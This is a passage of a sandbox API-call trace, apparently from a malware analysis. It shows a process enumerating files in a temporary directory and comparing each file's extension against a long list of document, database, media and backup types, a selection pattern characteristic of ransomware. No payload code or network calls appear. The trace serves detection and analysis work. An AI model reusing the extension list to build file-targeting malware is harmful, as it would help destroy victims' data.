lstrlenW (lpString=".eps") returned 4 [0061.528] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".epsf") returned 5 [0061.528] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.528] lstrlenW (lpString=".epsp") returned 5 [0061.528] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.528] lstrlenW (lpString=".erf") returned 4 [0061.528] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".exr") returned 4 [0061.528] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".f4v") returned 4 [0061.528] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".fido") returned 5 [0061.529] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.529] lstrlenW (lpString=".flm") returned 4 [0061.529] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".flv") returned 4 [0061.529] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".frm") returned 4 [0061.529] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".fxg") returned 4 [0061.529] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".geo") returned 4 [0061.529] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".gif") returned 4 [0061.529] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".grs") returned 4 [0061.529] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".gz") returned 3 [0061.529] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.529] lstrlenW (lpString=".h") returned 2 [0061.529] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.529] lstrlenW (lpString=".hdr") returned 4 [0061.529] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".hpp") returned 4 [0061.529] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".hta") returned 4 [0061.529] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".htc") returned 4 [0061.529] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".htm") returned 4 [0061.529] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".html") returned 5 [0061.529] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.529] lstrlenW (lpString=".icb") returned 4 [0061.529] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".ics") returned 4 [0061.529] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.529] lstrlenW (lpString=".iff") returned 4 [0061.529] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".inc") returned 4 [0061.530] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".indd") returned 5 [0061.530] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.530] lstrlenW (lpString=".ini") returned 4 [0061.530] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".iqy") returned 4 [0061.530] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".j2c") returned 4 [0061.530] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".j2k") returned 4 [0061.530] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".java") returned 5 [0061.530] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.530] lstrlenW (lpString=".jp2") returned 4 [0061.530] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".jpc") returned 4 [0061.530] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".jpe") returned 4 [0061.530] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".jpeg") returned 5 [0061.530] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.530] lstrlenW (lpString=".jpf") returned 4 [0061.530] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".jpg") returned 4 [0061.530] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".jpx") returned 4 [0061.530] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".js") returned 3 [0061.530] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.530] lstrlenW (lpString=".jsf") returned 4 [0061.530] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".json") returned 5 [0061.530] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.530] lstrlenW (lpString=".jsp") returned 4 [0061.530] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.530] lstrlenW (lpString=".kdc") returned 4 [0061.530] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".kmz") returned 4 [0061.531] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".kwm") returned 4 [0061.531] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".lasso") returned 6 [0061.531] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.531] lstrlenW (lpString=".lbi") returned 4 [0061.531] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".lgf") returned 4 [0061.531] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".lgp") returned 4 [0061.531] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".log") returned 4 [0061.531] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".m1v") returned 4 [0061.531] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".m4a") returned 4 [0061.531] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".m4v") returned 4 [0061.531] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".max") returned 4 [0061.531] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".md") returned 3 [0061.531] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.531] lstrlenW (lpString=".mda") returned 4 [0061.531] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".mdb") returned 4 [0061.531] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".mde") returned 4 [0061.531] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".mdf") returned 4 [0061.531] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.531] lstrlenW (lpString=".mdw") returned 4 [0061.531] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mef") returned 4 [0061.532] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mft") returned 4 [0061.532] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mfw") returned 4 [0061.532] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mht") returned 4 [0061.532] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mhtml") returned 6 [0061.532] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.532] lstrlenW (lpString=".mka") returned 4 [0061.532] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mkidx") returned 6 [0061.532] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.532] lstrlenW (lpString=".mkv") returned 4 [0061.532] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mos") returned 4 [0061.532] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mov") returned 4 [0061.532] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mp3") returned 4 [0061.532] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mp4") returned 4 [0061.532] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mpeg") returned 5 [0061.532] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.532] lstrlenW (lpString=".mpg") returned 4 [0061.532] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.532] lstrlenW (lpString=".mpv") returned 4 [0061.532] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".mrw") returned 4 [0061.533] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".msg") returned 4 [0061.533] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".mxl") returned 4 [0061.533] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".myd") returned 4 [0061.533] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".myi") returned 4 [0061.533] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".nef") returned 4 [0061.533] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".nrw") returned 4 [0061.533] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".obj") returned 4 [0061.533] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".odb") returned 4 [0061.533] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".odc") returned 4 [0061.533] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".odm") returned 4 [0061.533] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".odp") returned 4 [0061.533] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".ods") returned 4 [0061.533] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".oft") returned 4 [0061.533] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.533] lstrlenW (lpString=".one") returned 4 [0061.533] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".onepkg") returned 7 [0061.534] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.534] lstrlenW (lpString=".onetoc2") returned 8 [0061.534] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.534] lstrlenW (lpString=".opt") returned 4 [0061.534] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".oqy") returned 4 [0061.534] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".orf") returned 4 [0061.534] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".p12") returned 4 [0061.534] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".p7b") returned 4 [0061.534] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".p7c") returned 4 [0061.534] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pam") returned 4 [0061.534] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pbm") returned 4 [0061.534] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pct") returned 4 [0061.534] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pcx") returned 4 [0061.534] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pdd") returned 4 [0061.534] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pdf") returned 4 [0061.534] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pdp") returned 4 [0061.534] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pef") returned 4 [0061.534] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.534] lstrlenW (lpString=".pem") returned 4 [0061.534] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".pff") returned 4 [0061.535] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".pfm") returned 4 [0061.535] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".pfx") returned 4 [0061.535] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".pgm") returned 4 [0061.535] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".php") returned 4 [0061.535] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".php3") returned 5 [0061.535] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.535] lstrlenW (lpString=".php4") returned 5 [0061.535] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.535] lstrlenW (lpString=".php5") returned 5 [0061.535] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0061.535] lstrlenW (lpString=".phtml") returned 6 [0061.535] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.535] lstrlenW (lpString=".pict") returned 5 [0061.535] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.535] lstrlenW (lpString=".pl") returned 3 [0061.535] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.535] lstrlenW (lpString=".pls") returned 4 [0061.535] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".pm") returned 3 [0061.535] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.535] lstrlenW (lpString=".png") returned 4 [0061.535] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".pnm") returned 4 [0061.535] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".pot") returned 4 [0061.535] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.535] lstrlenW (lpString=".potm") returned 5 [0061.535] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.535] lstrlenW (lpString=".potx") returned 5 [0061.535] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.535] lstrlenW (lpString=".ppa") returned 4 [0061.536] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".ppam") returned 5 [0061.536] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.536] lstrlenW (lpString=".ppm") returned 4 [0061.536] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".pps") returned 4 [0061.536] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".ppsm") returned 5 [0061.536] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.536] lstrlenW (lpString=".ppt") returned 4 [0061.536] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".pptm") returned 5 [0061.536] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.536] lstrlenW (lpString=".pptx") returned 5 [0061.536] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.536] lstrlenW (lpString=".prn") returned 4 [0061.536] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".ps") returned 3 [0061.536] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.536] lstrlenW (lpString=".psb") returned 4 [0061.536] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".psd") returned 4 [0061.536] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".pst") returned 4 [0061.536] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".ptx") returned 4 [0061.536] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".pub") returned 4 [0061.536] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".pwm") returned 4 [0061.536] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".pxr") returned 4 [0061.536] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.536] lstrlenW (lpString=".py") returned 3 [0061.536] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.536] lstrlenW (lpString=".qt") returned 3 [0061.536] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.537] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.537] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.537] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.538] FindClose (in: hFindFile=0x5832c8 | out: hFindFile=0x5832c8) returned 1 [0061.538] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0061.538] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0061.538] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0061.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26 [0061.538] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d48 [0061.553] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.780] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.780] lstrlenW (lpString="eula.rtf") returned 8 [0061.780] lstrlenW (lpString=".1cd") returned 4 [0061.780] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.780] lstrlenW (lpString=".3ds") returned 4 [0061.780] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.780] lstrlenW (lpString=".3fr") returned 4 [0061.780] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.780] lstrlenW (lpString=".3g2") returned 4 [0061.780] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.780] lstrlenW (lpString=".3gp") returned 4 [0061.780] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.780] lstrlenW (lpString=".7z") returned 3 [0061.780] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.780] lstrlenW (lpString=".accda") returned 6 [0061.780] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.780] lstrlenW (lpString=".accdb") returned 6 [0061.780] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.780] lstrlenW (lpString=".accdc") returned 6 [0061.780] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.780] lstrlenW (lpString=".accde") returned 6 [0061.780] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.780] lstrlenW (lpString=".accdt") returned 6 [0061.780] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.780] lstrlenW (lpString=".accdw") returned 6 [0061.781] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.781] lstrlenW (lpString=".adb") returned 4 [0061.781] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".adp") returned 4 [0061.781] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".ai") returned 3 [0061.781] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.781] lstrlenW (lpString=".ai3") returned 4 [0061.781] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".ai4") returned 4 [0061.781] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".ai5") returned 4 [0061.781] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".ai6") returned 4 [0061.781] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".ai7") returned 4 [0061.781] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".ai8") returned 4 [0061.781] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".anim") returned 5 [0061.781] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.781] lstrlenW (lpString=".arw") returned 4 [0061.781] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".as") returned 3 [0061.781] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.781] lstrlenW (lpString=".asa") returned 4 [0061.781] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".asc") returned 4 [0061.781] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".ascx") returned 5 [0061.781] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.781] lstrlenW (lpString=".asm") returned 4 [0061.781] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.781] lstrlenW (lpString=".asmx") returned 5 [0061.781] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.781] lstrlenW (lpString=".asp") returned 4 [0061.782] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".aspx") returned 5 [0061.782] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.782] lstrlenW (lpString=".asr") returned 4 [0061.782] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".asx") returned 4 [0061.782] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".avi") returned 4 [0061.782] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".avs") returned 4 [0061.782] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".backup") returned 7 [0061.782] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.782] lstrlenW (lpString=".bak") returned 4 [0061.782] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".bay") returned 4 [0061.782] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".bd") returned 3 [0061.782] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.782] lstrlenW (lpString=".bin") returned 4 [0061.782] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".bmp") returned 4 [0061.782] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".bz2") returned 4 [0061.782] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".c") returned 2 [0061.782] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.782] lstrlenW (lpString=".cdr") returned 4 [0061.782] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".cer") returned 4 [0061.782] 